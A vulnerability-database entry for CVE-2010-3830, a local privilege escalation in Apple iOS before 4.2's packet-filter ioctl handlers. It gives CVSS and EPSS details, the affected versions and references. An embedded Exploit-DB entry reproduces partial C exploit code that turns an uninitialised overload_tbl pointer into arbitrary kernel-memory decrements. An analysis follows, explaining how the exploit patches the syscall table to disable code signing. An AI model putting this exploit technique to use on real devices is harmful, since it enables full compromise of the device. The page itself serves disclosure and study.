CVE-2010-3830 : Detail

CVE-2010-3830

A01-Broken Access Control
0.04%V3
Local
2010-11-26
18h00 +00:00
2017-08-16
12h57 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

Networking in Apple iOS before 4.2 accesses an invalid pointer during the processing of packet filter rules, which allows local users to gain privileges via unspecified vectors.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-264 Category : Permissions, Privileges, and Access Controls
Weaknesses in this category are related to the management of permissions, privileges, and other security features that are used to perform access control.

Metrics

Metrics Score Severity CVSS Vector Source
V2 7.2 AV:L/AC:L/Au:N/C:C/I:C/A:C [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 35010

Publication date : 2010-11-21 23h00 +00:00
Author : Apple
EDB Verified : Yes

// source: https://www.securityfocus.com/bid/45010/info // // Apple iOS is prone to a local privilege-escalation vulnerability. // // Local attackers running malicious code can exploit this issue to elevate their privileges. Successful attacks will completely compromise an affected device. // int main() { unsigned int target_addr = CONFIG_TARGET_ADDR; unsigned int target_addr_real = target_addr & ~1; unsigned int target_pagebase = target_addr & ~0xfff; unsigned int num_decs = (CONFIG_SYSENT_PATCH_ORIG - target_addr) >> 24; assert(MAP_FAILED != mmap((void *) target_pagebase, 0x2000, PROT_READ | PROT_WRITE, MAP_ANON | MAP_PRIVATE | MAP_FIXED, -1, 0)); unsigned short *p = (void *) target_addr_real; if(target_addr_real & 2) *p++ = 0x46c0; // nop *p++ = 0x4b00; // ldr r3, [pc] *p++ = 0x4718; // bx r3 *((unsigned int *) p) = (unsigned int) &ok_go; assert(!mprotect((void *)target_pagebase, 0x2000, PROT_READ | PROT_EXEC)); // Yes, reopening is necessary pffd = open("/dev/pf", O_RDWR); ioctl(pffd, DIOCSTOP); assert(!ioctl(pffd, DIOCSTART)); unsigned int sysent_patch = CONFIG_SYSENT_PATCH; while(num_decs--) pwn(sysent_patch+3); assert(!ioctl(pffd, DIOCSTOP)); close(pffd); assert(!mlock((void *) ((unsigned int)(&ok_go) & ~0xfff), 0x1000)); assert(!mlock((void *) ((unsigned int)(&flush) & ~0xfff), 0x1000)); assert(!mlock((void *) target_pagebase, 0x2000)); #ifdef DEBUG printf("ok\n"); fflush(stdout); #endif syscall(0); #ifdef DEBUG printf("we're out\n"); fflush(stdout); #endif //... } //... static void pwn(unsigned int addr) { struct pfioc_trans trans; struct pfioc_trans_e trans_e; struct pfioc_pooladdr pp; struct pfioc_rule pr; memset(&trans, 0, sizeof(trans)); memset(&trans_e, 0, sizeof(trans_e)); memset(&pr, 0, sizeof(pr)); trans.size = 1; trans.esize = sizeof(trans_e); trans.array = &trans_e; trans_e.rs_num = PF_RULESET_FILTER; memset(trans_e.anchor, 0, MAXPATHLEN); assert(!ioctl(pffd, DIOCXBEGIN, &trans)); u_int32_t ticket = trans_e.ticket; assert(!ioctl(pffd, DIOCBEGINADDRS, &pp)); u_int32_t pool_ticket = pp.ticket; pr.action = PF_PASS; pr.nr = 0; pr.ticket = ticket; pr.pool_ticket = pool_ticket; memset(pr.anchor, 0, MAXPATHLEN); memset(pr.anchor_call, 0, MAXPATHLEN); pr.rule.return_icmp = 0; pr.rule.action = PF_PASS; pr.rule.af = AF_INET; pr.rule.proto = IPPROTO_TCP; pr.rule.rt = 0; pr.rule.rpool.proxy_port[0] = htons(1); pr.rule.rpool.proxy_port[1] = htons(1); pr.rule.src.addr.type = PF_ADDR_ADDRMASK; pr.rule.dst.addr.type = PF_ADDR_ADDRMASK; //offsetof(struct pfr_ktable, pfrkt_refcnt[PFR_REFCNT_RULE]) = 0x4a4 pr.rule.overload_tbl = (void *)(addr - 0x4a4); errno = 0; assert(!ioctl(pffd, DIOCADDRULE, &pr)); assert(!ioctl(pffd, DIOCXCOMMIT, &trans)); pr.action = PF_CHANGE_REMOVE; assert(!ioctl(pffd, DIOCCHANGERULE, &pr)); } ######################################################################################################## The vulnerability is located in the DIOCADDRULE ioctl handler, due to improper initialization of the overload_tbl field, which can be later exploited in the DIOCCHANGERULE handler. The following code snippet shows the relevant parts of those handlers : ######################################################################################################## //bsd/net/pf_ioctl.c static int pfioctl(dev_t dev, u_long cmd, caddr_t addr, int flags, struct proc *p) { //... switch (cmd) { //... case DIOCADDRULE: { struct pfioc_rule *pr = (struct pfioc_rule *)addr; struct pf_ruleset *ruleset; //... //copy structure passed from userspace bcopy(&pr->rule, rule, sizeof (struct pf_rule)); rule->cuid = kauth_cred_getuid(p->p_ucred); rule->cpid = p->p_pid; rule->anchor = NULL; rule->kif = NULL; TAILQ_INIT(&rule->rpool.list); /* initialize refcounting */ rule->states = 0; rule->src_nodes = 0; rule->entries.tqe_prev = NULL; //... if (rule->overload_tblname[0]) { if ((rule->overload_tbl = pfr_attach_table(ruleset, rule->overload_tblname)) == NULL) error = EINVAL; else rule->overload_tbl->pfrkt_flags |= PFR_TFLAG_ACTIVE; } //... case DIOCCHANGERULE: { //... if (pcr->action == PF_CHANGE_REMOVE) { pf_rm_rule(ruleset->rules[rs_num].active.ptr, oldrule); ruleset->rules[rs_num].active.rcount--; } //... } //... } ################################################################################################ The rule field of the pfioc_rule structure passed from userland is copied into a kernel buffer, and then some of the structure fields are reinitialized. However, if rule->overload_tblname[0] is zero, the rule->overload_tbl pointer won't be initialized properly and will retain the value passed from userland. When the rule is removed, the pf_rm_rule function calls pfr_detach_table which in turn decrements a reference counter using the invalid pointer, allowing an arbitrary decrement anywhere in kernel memory : ############################################################################################## //bsd/net/pf_ioctl.c void pf_rm_rule(struct pf_rulequeue *rulequeue, struct pf_rule *rule) { if (rulequeue != NULL) { if (rule->states <= 0) { /* * XXX - we need to remove the table *before* detaching * the rule to make sure the table code does not delete * the anchor under our feet. */ pf_tbladdr_remove(&rule->src.addr); pf_tbladdr_remove(&rule->dst.addr); if (rule->overload_tbl) pfr_detach_table(rule->overload_tbl); } //... } //bsd/net/pf_table.c void pfr_detach_table(struct pfr_ktable *kt) { lck_mtx_assert(pf_lock, LCK_MTX_ASSERT_OWNED); if (kt->pfrkt_refcnt[PFR_REFCNT_RULE] <= 0) printf("pfr_detach_table: refcount = %d.\n", kt->pfrkt_refcnt[PFR_REFCNT_RULE]); else if (!--kt->pfrkt_refcnt[PFR_REFCNT_RULE]) //arbitrary decrement happens here pfr_setflags_ktable(kt, kt->pfrkt_flags&~PFR_TFLAG_REFERENCED); } ############################################################################################### In order to decrement the dword at address addr, the pwn function of comex's exploit sets the pr.rule.overload_tbl to addr minus 0x4a4, which is the value of offsetof(struct pfr_ktable, pfrkt_refcnt[PFR_REFCNT_RULE]) on a 32 bit architecture. The exploit decrement the syscall 0 handler address in the sysent array which holds function pointers for all system calls. A trampoline shellcode is mapped at a specific address chosen so that only the most significant byte of the original pointer has to be decremented (the minimum amount to move the pointer from kernel space down to user space). This trampoline will simply call the ok_go C function which will patch various functions in the kernel to perform the jailbreak : make code signing checks return true, disable W^X policy, and restore the overwritten syscall handler.

Products Mentioned

Configuraton 0

Apple>>Iphone_os >> Version To (including) 4.1

Apple>>Iphone_os >> Version 1.0.0

Apple>>Iphone_os >> Version 1.0.1

Apple>>Iphone_os >> Version 1.0.2

Apple>>Iphone_os >> Version 1.1.0

Apple>>Iphone_os >> Version 1.1.1

Apple>>Iphone_os >> Version 1.1.2

Apple>>Iphone_os >> Version 1.1.3

Apple>>Iphone_os >> Version 1.1.4

Apple>>Iphone_os >> Version 1.1.5

Apple>>Iphone_os >> Version 2.0

Apple>>Iphone_os >> Version 2.0.0

Apple>>Iphone_os >> Version 2.0.1

Apple>>Iphone_os >> Version 2.0.2

Apple>>Iphone_os >> Version 2.1

Apple>>Iphone_os >> Version 2.1.1

Apple>>Iphone_os >> Version 2.2

Apple>>Iphone_os >> Version 2.2.1

Apple>>Iphone_os >> Version 3.0

Apple>>Iphone_os >> Version 3.0.1

Apple>>Iphone_os >> Version 3.1

Apple>>Iphone_os >> Version 3.1.2

Apple>>Iphone_os >> Version 3.1.3

Apple>>Iphone_os >> Version 3.2

Apple>>Iphone_os >> Version 3.2.1

Apple>>Iphone_os >> Version 3.2.2

Apple>>Iphone_os >> Version 4.0

Apple>>Iphone_os >> Version 4.0.1

Apple>>Iphone_os >> Version 4.0.2

References

http://www.securitytracker.com/id?1024772
Tags : vdb-entry, x_refsource_SECTRACK
http://www.vupen.com/english/advisories/2010/3046
Tags : vdb-entry, x_refsource_VUPEN
http://secunia.com/advisories/42314
Tags : third-party-advisory, x_refsource_SECUNIA
http://support.apple.com/kb/HT4456
Tags : x_refsource_CONFIRM